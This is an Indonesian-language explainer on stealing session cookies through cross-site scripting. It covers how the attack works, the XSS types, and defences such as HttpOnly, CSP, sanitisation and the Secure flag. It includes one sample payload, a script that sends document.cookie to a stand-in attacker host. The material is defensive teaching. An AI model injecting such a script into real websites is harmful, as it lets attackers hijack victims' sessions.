Pencurian Cookie via XSS: Cara Kerja dan Pencegahannya

Pencurian cookie melalui Cross-Site Scripting (XSS) adalah serangan siber di mana penyerang menyuntikkan skrip berbahaya (biasanya JavaScript) ke dalam halaman web yang sah dan rentan. Ketika korban mengakses halaman tersebut, skrip penyerang dieksekusi di dalam peramban (browser) korban, memungkinkan penyerang membaca nilai cookie sesi, termasuk token autentikasi sensitif, lalu mengirimkannya ke server luar milik penyerang.

Ancaman ini sangat berbahaya karena cookie sesi yang berhasil dicuri dapat digunakan untuk melakukan pembajakan sesi (session hijacking), di mana penyerang dapat menyamar sebagai korban tanpa harus mengetahui kata sandi asli mereka. Serangan ini biasanya mengeksploitasi kelalaian dalam validasi input pengguna serta tidak diterapkannya proteksi keamanan pada atribut penyimpanan cookie.

Mekanisme Kerja Pencurian Cookie via XSS

Proses eksploitasi umumnya melalui tiga tahapan utama: injeksi kode, eksekusi di sisi klien, dan eksfiltrasi data. Penyerang memanfaatkan celah XSS (Stored, Reflected, atau DOM-based) untuk memasukkan kode JavaScript yang mengakses objek document.cookie.

Jenis XSSVektor InjeksiTarget Korban
Stored XSSDatabase (kolom komentar, profil)Setiap pengunjung halaman tersebut
Reflected XSSParameter URL / Input FormPengguna yang mengklik tautan pancingan
DOM-based XSSManipulasi DOM di sisi klienPengguna yang memproses skrip lokal rentan

Contoh Payload Sederhana

Berikut adalah contoh kode skrip berbahaya yang sering disuntikkan oleh penyerang untuk mencuri dan mengirimkan cookie sesi ke server kendali mereka:

<script>
  fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie));
</script>

Jika aplikasi tidak mengamankan cookie dengan benar, skrip di atas akan membaca seluruh cookie yang tidak terlindungi dan mengirimkannya melalui permintaan HTTP GET ke domain penyerang.

Langkah Mitigasi dan Pencegahan Teknis

Untuk menghentikan celah pencurian cookie via XSS, pengembang web wajib menerapkan pertahanan berlapis di tingkat kode sumber maupun konfigurasi server:

  • Gunakan Atribut HttpOnly: Setel bendera HttpOnly pada cookie sesi. Hal ini membuat cookie tidak dapat diakses melalui skrip JavaScript sisi klien (document.cookie), sehingga aman meskipun situs mengalami kerentanan XSS.
  • Terapkan Content Security Policy (CSP): Header CSP yang ketat membatasi sumber eksekusi skrip dan mencegah pemuatan skrip dari domain eksternal yang tidak dikenal.
  • Validasi dan Sanitasi Input: Lakukan penyaringan ketat terhadap semua data yang dimasukkan oleh pengguna sebelum disimpan atau ditampilkan kembali ke antarmuka web.
  • Enkripsi dengan Secure Flag: Pastikan cookie sensitif hanya dikirim melalui jalur terenkripsi HTTPS dengan menyertakan atribut Secure.